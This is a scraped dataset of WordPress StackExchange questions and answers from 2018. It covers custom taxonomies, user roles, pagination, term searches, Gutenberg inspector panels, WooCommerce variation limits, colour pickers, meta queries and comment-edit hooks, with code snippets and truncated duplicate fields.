'show_in_menu' => true,
'query_var' => ... | Because Category is a specific [taxonomy](https://codex.wordpress.org/Taxonomies), not just a piece of general 'functionality' that you can add to post types.
When you add `category` to `taxonomies` for your post type you're registering the Category taxonomy that already exists for Posts for your post type.
If you w... |
304,107 | <p>I am new to ACF and Custom Post Types and novice at best with PHP & Coding.</p>
<p>I need help to make <code>the_field</code> linked on my front end display. I also want to show the link as the link text.</p>
<pre><code><?php
if( get_field('svcta_contact_information_group_svcta_contact_website')) {
echo '&... | [
{
"answer_id": 303942,
"author": "Jacob Peattie",
"author_id": 39152,
"author_profile": "https://wordpress.stackexchange.com/users/39152",
"pm_score": 4,
"selected": true,
"text": "<p>Because Category is a specific <a href=\"https://codex.wordpress.org/Taxonomies\" rel=\"noreferrer\">tax... | 2018/05/22 | [
"https://wordpress.stackexchange.com/questions/304107",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143079/"
] | I am new to ACF and Custom Post Types and novice at best with PHP & Coding.
I need help to make `the_field` linked on my front end display. I also want to show the link as the link text.
```
<?php
if( get_field('svcta_contact_information_group_svcta_contact_website')) {
echo '<div class="svcta-contact-website" id="sv... | Because Category is a specific [taxonomy](https://codex.wordpress.org/Taxonomies), not just a piece of general 'functionality' that you can add to post types.
When you add `category` to `taxonomies` for your post type you're registering the Category taxonomy that already exists for Posts for your post type.
If you w... |
304,117 | <p>Sorry for what is probably a very basic question - I've managed my own WP site for a fair while now and am bringing a colleague on to help as I'm undertaking a project at work which will take up more of my time. </p>
<p>I'm trying to decide if I should give my colleague admin or editor access. Am I right in saying ... | [
{
"answer_id": 304118,
"author": "Iceable",
"author_id": 136263,
"author_profile": "https://wordpress.stackexchange.com/users/136263",
"pm_score": 2,
"selected": false,
"text": "<p>You are right indeed, users with the <code>\"editor\"</code> role do not have the <code>'edit_theme_options... | 2018/05/22 | [
"https://wordpress.stackexchange.com/questions/304117",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/144037/"
] | Sorry for what is probably a very basic question - I've managed my own WP site for a fair while now and am bringing a colleague on to help as I'm undertaking a project at work which will take up more of my time.
I'm trying to decide if I should give my colleague admin or editor access. Am I right in saying an editor ... | You are right indeed, users with the `"editor"` role do not have the `'edit_theme_options'` capability, which is required to access the following:
```
Appearance > Widgets
Appearance > Menus
Appearance > Customize if they are supported by the current theme
Appearance > Background
Appearance > Header
```
([source](ht... |
304,137 | <p>I need to solve duplicating of posts and pages caused by unexpected paging. I am trying to disable the paging with this function, but it seems I miss something:</p>
<pre><code>function wpse_disable_pagination( $query ) {
if( $query->is_single() && $query->is_page() ) {
$query->set('nopaging',... | [
{
"answer_id": 304140,
"author": "Jignesh Patel",
"author_id": 111556,
"author_profile": "https://wordpress.stackexchange.com/users/111556",
"pm_score": 1,
"selected": false,
"text": "<pre><code>function wpse_disable_pagination( $query ) {\n if( $query->is_single() && $query-... | 2018/05/22 | [
"https://wordpress.stackexchange.com/questions/304137",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/102523/"
] | I need to solve duplicating of posts and pages caused by unexpected paging. I am trying to disable the paging with this function, but it seems I miss something:
```
function wpse_disable_pagination( $query ) {
if( $query->is_single() && $query->is_page() ) {
$query->set('nopaging', 1 );
}
}
add_action( 'pre_ge... | I found the right solution, thanks to [Jeff Morris](https://perishablepress.com/wordpress-infinite-duplicate-content/):
```
global $posts, $numpages;
$request_uri = $_SERVER['REQUEST_URI'];
$result = preg_match('%\/(\d)+(\/)?$%', $request_uri, $matches);
$ordinal = $result ? intval($matches[1]) : FALSE;... |
304,173 | <p>In my theme's <code>search.php</code> I have a section set up to show terms that fit the search. I want the term to show up IF the <code>$keyword</code> appears in the term's title or its description. I have it set up to do just that but if feels clunky to me to have to do two separate queries then prune the resul... | [
{
"answer_id": 309461,
"author": "harisrozak",
"author_id": 98662,
"author_profile": "https://wordpress.stackexchange.com/users/98662",
"pm_score": 1,
"selected": false,
"text": "<p>I don't see any options for WordPress to search terms by both of name & description. So i combined 2 q... | 2018/05/22 | [
"https://wordpress.stackexchange.com/questions/304173",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/109262/"
] | In my theme's `search.php` I have a section set up to show terms that fit the search. I want the term to show up IF the `$keyword` appears in the term's title or its description. I have it set up to do just that but if feels clunky to me to have to do two separate queries then prune the results to make sure each term i... | I don't see any options for WordPress to search terms by both of name & description. So i combined 2 queries like @StephanieQ but maybe more simple way, checkout my ajax response below:
```
public function ajax_project_terms_search() {
$results = array();
$search_query = sanitize_text_field($_GET['q']);
$w... |
304,211 | <p>I'm adding a new panel to a Gutenberg block through the <code>editor.BlockEdit</code> wp.block filter. </p>
<pre><code><InspectorControls>
<PanelBody title={ __( 'New Settings' ) } initialOpen={ false } >
...
</PanelBody>
</InspectorControls>
</code></pre>
<p>The new panel appears ... | [
{
"answer_id": 314765,
"author": "Ashiquzzaman Kiron",
"author_id": 78505,
"author_profile": "https://wordpress.stackexchange.com/users/78505",
"pm_score": -1,
"selected": true,
"text": "<pre><code> <InspectorControls>\n\n <PanelBody title={ __( 'Settings One' ) }>\n... | 2018/05/23 | [
"https://wordpress.stackexchange.com/questions/304211",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/1613/"
] | I'm adding a new panel to a Gutenberg block through the `editor.BlockEdit` wp.block filter.
```
<InspectorControls>
<PanelBody title={ __( 'New Settings' ) } initialOpen={ false } >
...
</PanelBody>
</InspectorControls>
```
The new panel appears on top of the default panels. Is there any way to change the ... | ```
<InspectorControls>
<PanelBody title={ __( 'Settings One' ) }>
</PanelBody>
<PanelBody title={ __( 'Settings Two' ) }>
</PanelBody>
<PanelBody title={ __( 'Settings Three' ) >
</PanelBody>
</InspectorControls>
```
If you insert multiple Panelbody like I did in... |
304,213 | <p>How to get the last added meta value by post id</p>
<p>This is what I have tried so far:</p>
<pre><code> $args = array(
'post_type' => 'post',
'post_status' => 'publish',
'posts_per_page' => -1,
'meta_key' => 'picture_upload_1'
);
$dbResult = new WP_Query($arg... | [
{
"answer_id": 314765,
"author": "Ashiquzzaman Kiron",
"author_id": 78505,
"author_profile": "https://wordpress.stackexchange.com/users/78505",
"pm_score": -1,
"selected": true,
"text": "<pre><code> <InspectorControls>\n\n <PanelBody title={ __( 'Settings One' ) }>\n... | 2018/05/23 | [
"https://wordpress.stackexchange.com/questions/304213",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/144109/"
] | How to get the last added meta value by post id
This is what I have tried so far:
```
$args = array(
'post_type' => 'post',
'post_status' => 'publish',
'posts_per_page' => -1,
'meta_key' => 'picture_upload_1'
);
$dbResult = new WP_Query($args);
var_dump($dbResult);
```
b... | ```
<InspectorControls>
<PanelBody title={ __( 'Settings One' ) }>
</PanelBody>
<PanelBody title={ __( 'Settings Two' ) }>
</PanelBody>
<PanelBody title={ __( 'Settings Three' ) >
</PanelBody>
</InspectorControls>
```
If you insert multiple Panelbody like I did in... |
304,237 | <p>I want to increase the product variation limit in woocomerce.</p>
<p>In existing woocommerce code, The product variation limit is 100.</p>
<pre><code>$limit = apply_filters( ‘woocommerce_rest_batch_items_limit’, 100, $this->get_normalized_rest_base() );
</code></pre>
<p>I changed the existing code product vari... | [
{
"answer_id": 304238,
"author": "Jacob Peattie",
"author_id": 39152,
"author_profile": "https://wordpress.stackexchange.com/users/39152",
"pm_score": 1,
"selected": false,
"text": "<p>This is what the <code>apply_filters()</code> call is for. It's a <a href=\"https://developer.wordpress... | 2018/05/23 | [
"https://wordpress.stackexchange.com/questions/304237",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/144129/"
] | I want to increase the product variation limit in woocomerce.
In existing woocommerce code, The product variation limit is 100.
```
$limit = apply_filters( ‘woocommerce_rest_batch_items_limit’, 100, $this->get_normalized_rest_base() );
```
I changed the existing code product variation limit as 100 to 200.
```
$lim... | This is what the `apply_filters()` call is for. It's a [hook](https://developer.wordpress.org/plugins/hooks/) that lets you modify the value.
In this case you want to use `add_filter()` with the `woocommerce_rest_batch_items_limit` hook name as the first argument, and then a [callback function](http://php.net/manual/e... |
304,263 | <p>We say if a user has user role author then all his new posts will automaticly be sticky.</p>
<p>How can i do that?</p>
| [
{
"answer_id": 304292,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 1,
"selected": false,
"text": "<p>It looks like it is possible. </p>\n\n<p>Sticky posts are stored as array of IDs in an option called ... | 2018/05/23 | [
"https://wordpress.stackexchange.com/questions/304263",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/138704/"
] | We say if a user has user role author then all his new posts will automaticly be sticky.
How can i do that? | ```
add_action('save_post', 'mo_make_it_sticky_if_role');
function mo_make_it_sticky_if_role( $post_id ) {
if( current_user_can('author') ) {
stick_post( $post_id );
}
}
```
If the user has user role *author* and he creates a new post then it gets sticky as default even if he uses somecind of fron-end... |
304,277 | <p>i have created my own theme for my woocommerce store i'm facing a layout issue in the checkout page, after debugging in chrome tools somehow i find out that the default main div is set to col-1 and if i were to edit it to col-12 that would fix the issue here however i'm using shortcode to use the woocommerce checkou... | [
{
"answer_id": 304292,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 1,
"selected": false,
"text": "<p>It looks like it is possible. </p>\n\n<p>Sticky posts are stored as array of IDs in an option called ... | 2018/05/23 | [
"https://wordpress.stackexchange.com/questions/304277",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/144158/"
] | i have created my own theme for my woocommerce store i'm facing a layout issue in the checkout page, after debugging in chrome tools somehow i find out that the default main div is set to col-1 and if i were to edit it to col-12 that would fix the issue here however i'm using shortcode to use the woocommerce checkout f... | ```
add_action('save_post', 'mo_make_it_sticky_if_role');
function mo_make_it_sticky_if_role( $post_id ) {
if( current_user_can('author') ) {
stick_post( $post_id );
}
}
```
If the user has user role *author* and he creates a new post then it gets sticky as default even if he uses somecind of fron-end... |
304,285 | <p>I'm having difficulty implementing the color picker exactly the same as WordPress in my plugin.</p>
<p>Is there any official wordpress documentation on how to use this feature?</p>
| [
{
"answer_id": 304286,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 5,
"selected": true,
"text": "<p>Yes, there is: <a href=\"https://make.wordpress.org/core/2012/11/30/new-color-picker-in-wp-3-5/\" rel=... | 2018/05/23 | [
"https://wordpress.stackexchange.com/questions/304285",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143171/"
] | I'm having difficulty implementing the color picker exactly the same as WordPress in my plugin.
Is there any official wordpress documentation on how to use this feature? | Yes, there is: <https://make.wordpress.org/core/2012/11/30/new-color-picker-in-wp-3-5/>
1. You should enqueue scripts and styles...
-------------------------------------------
```
add_action( 'admin_enqueue_scripts', 'mw_enqueue_color_picker' );
function mw_enqueue_color_picker( $hook_suffix ) {
// first check th... |
304,358 | <p>I have a custom taxonomy "role" for my custom post type "People". </p>
<p>When listing the roles, is there a way to exclude roles based on slug and not ID via <code>get_terms</code> function? </p>
<p>I ask because I'm running a multisite and a few websites have the same IDs as the ones I'd like to exclude.</p>
<p... | [
{
"answer_id": 304360,
"author": "Pabamato",
"author_id": 60079,
"author_profile": "https://wordpress.stackexchange.com/users/60079",
"pm_score": 4,
"selected": true,
"text": "<p>The <code>get_terms()</code> (<a href=\"https://developer.wordpress.org/reference/functions/get_terms/\" rel=... | 2018/05/24 | [
"https://wordpress.stackexchange.com/questions/304358",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/54745/"
] | I have a custom taxonomy "role" for my custom post type "People".
When listing the roles, is there a way to exclude roles based on slug and not ID via `get_terms` function?
I ask because I'm running a multisite and a few websites have the same IDs as the ones I'd like to exclude.
Right now I have:
```
<?php
$role... | The `get_terms()` ([see docs](https://developer.wordpress.org/reference/functions/get_terms/)) function accepts the same args as `WP_Term_Query`([see docs](https://developer.wordpress.org/reference/classes/wp_term_query/__construct/))
You have to get those terms Ids first and then pass it to the `exclude` arg:
```
... |
304,401 | <p>Until now I was able to create the "Custom Register Form" on my Wordpress website, and send an activation mail to the registered user with the link for the activation.</p>
<p>What I want to do is soon after the registration process, the user is redirected to a "Thank you" page. But when i add to the code the wp_red... | [
{
"answer_id": 304360,
"author": "Pabamato",
"author_id": 60079,
"author_profile": "https://wordpress.stackexchange.com/users/60079",
"pm_score": 4,
"selected": true,
"text": "<p>The <code>get_terms()</code> (<a href=\"https://developer.wordpress.org/reference/functions/get_terms/\" rel=... | 2018/05/25 | [
"https://wordpress.stackexchange.com/questions/304401",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/106074/"
] | Until now I was able to create the "Custom Register Form" on my Wordpress website, and send an activation mail to the registered user with the link for the activation.
What I want to do is soon after the registration process, the user is redirected to a "Thank you" page. But when i add to the code the wp\_redirect(); ... | The `get_terms()` ([see docs](https://developer.wordpress.org/reference/functions/get_terms/)) function accepts the same args as `WP_Term_Query`([see docs](https://developer.wordpress.org/reference/classes/wp_term_query/__construct/))
You have to get those terms Ids first and then pass it to the `exclude` arg:
```
... |
304,410 | <p>I made some custom modifications to a plugin. When we get a notice that there is an official upgrade for this plugin in WP, a dev needs to manually do the upgrade because the changed files have to be integrated with the new version.</p>
<p>We don't want a staff member to accidentally click the upgrade button on thi... | [
{
"answer_id": 304414,
"author": "Core972",
"author_id": 103816,
"author_profile": "https://wordpress.stackexchange.com/users/103816",
"pm_score": 1,
"selected": false,
"text": "<p>In the file <code>functions.php</code> of the active theme add this lines</p>\n\n<pre><code>function filter... | 2018/05/25 | [
"https://wordpress.stackexchange.com/questions/304410",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/142845/"
] | I made some custom modifications to a plugin. When we get a notice that there is an official upgrade for this plugin in WP, a dev needs to manually do the upgrade because the changed files have to be integrated with the new version.
We don't want a staff member to accidentally click the upgrade button on this plugin w... | First of all... It is a really bad idea to modify existing plugin.
But if you really have to do this, then you can hide update link with this code (this one works for Yoast SEO):
```
function remove_update_notification_link($value) {
if ( array_key_exists('wordpress-seo/wp-seo.php', $value->response) ) {
... |
304,423 | <p>Would it be possible to be able to select the image sizes you want to be uploaded when you upload an image?</p>
<p>E.g., I have these image sizes:</p>
<pre><code> // Set Media Sizes
set_post_thumbnail_size( 864, 486, true ); // 864 pixels wide by 486 pixels tall, crop from the center
add_image_size( 'kl... | [
{
"answer_id": 304414,
"author": "Core972",
"author_id": 103816,
"author_profile": "https://wordpress.stackexchange.com/users/103816",
"pm_score": 1,
"selected": false,
"text": "<p>In the file <code>functions.php</code> of the active theme add this lines</p>\n\n<pre><code>function filter... | 2018/05/25 | [
"https://wordpress.stackexchange.com/questions/304423",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/143298/"
] | Would it be possible to be able to select the image sizes you want to be uploaded when you upload an image?
E.g., I have these image sizes:
```
// Set Media Sizes
set_post_thumbnail_size( 864, 486, true ); // 864 pixels wide by 486 pixels tall, crop from the center
add_image_size( 'klein', 300, 169, true)... | First of all... It is a really bad idea to modify existing plugin.
But if you really have to do this, then you can hide update link with this code (this one works for Yoast SEO):
```
function remove_update_notification_link($value) {
if ( array_key_exists('wordpress-seo/wp-seo.php', $value->response) ) {
... |
304,472 | <p>I am trying to dynamically create a meta query based upon an array of post_id values. However, the query is not working. I have used <code>var_dump()</code> to see <code>$meta_array</code>, and it appears to be a standard array in the correct format to pass into <code>WP_Query()</code>.</p>
<pre><code>$post_id_arra... | [
{
"answer_id": 304527,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 1,
"selected": false,
"text": "<p>First of all, you have a typo in your code. The variable with post IDs is called <code>post_id_array<... | 2018/05/25 | [
"https://wordpress.stackexchange.com/questions/304472",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/101243/"
] | I am trying to dynamically create a meta query based upon an array of post\_id values. However, the query is not working. I have used `var_dump()` to see `$meta_array`, and it appears to be a standard array in the correct format to pass into `WP_Query()`.
```
$post_id_array = array( "12", "24" ); //this array will be ... | With the help of @Krzysiek Dróżdż I have found the solution to this issue. My first issue was that I was nesting the $meta\_array in another array.
As suggested by @Krzysiek, I changed this line
```
'meta_query' => array($meta_array)
```
to
```
'meta_query' => $meta_array
```
. This allowed for the meta array to... |
304,476 | <p>My Wordpress Site (PeterKellner.net)'s home page is a page titled "Who is Peter Kellner". The browser tab shows that and I want it to just say peterkellner.net.</p>
<p>How can I make that happen without changing the actual title shown on the page?</p>
| [
{
"answer_id": 304527,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 1,
"selected": false,
"text": "<p>First of all, you have a typo in your code. The variable with post IDs is called <code>post_id_array<... | 2018/05/25 | [
"https://wordpress.stackexchange.com/questions/304476",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/144290/"
] | My Wordpress Site (PeterKellner.net)'s home page is a page titled "Who is Peter Kellner". The browser tab shows that and I want it to just say peterkellner.net.
How can I make that happen without changing the actual title shown on the page? | With the help of @Krzysiek Dróżdż I have found the solution to this issue. My first issue was that I was nesting the $meta\_array in another array.
As suggested by @Krzysiek, I changed this line
```
'meta_query' => array($meta_array)
```
to
```
'meta_query' => $meta_array
```
. This allowed for the meta array to... |
304,504 | <p>Is it possible to create a custom hook if a comment is updated/edited in the database?</p>
<p>I want a hook, something like this:</p>
<pre><code>add_action('before_edit_comment', 'myfunction');
function myfunction($comment_id, $comment_object){
// do something
}
</code></pre>
<p>Actually, I want to keep the hist... | [
{
"answer_id": 304506,
"author": "WPDavid",
"author_id": 129826,
"author_profile": "https://wordpress.stackexchange.com/users/129826",
"pm_score": 1,
"selected": false,
"text": "<p>There are 6 hooks that can be used with comment forms if you are logged in - to my knowledge. These are </p... | 2018/05/26 | [
"https://wordpress.stackexchange.com/questions/304504",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/144316/"
] | Is it possible to create a custom hook if a comment is updated/edited in the database?
I want a hook, something like this:
```
add_action('before_edit_comment', 'myfunction');
function myfunction($comment_id, $comment_object){
// do something
}
```
Actually, I want to keep the history if a user edits/updates a com... | Updating an existing comment in the database is done by the function [`wp_update_comment`](https://developer.wordpress.org/reference/functions/wp_update_comment/). As you can see, there is one hook, `edit_comment`, which you can use to trigger an action when a comment is updated.
However, this hook fires after the com... |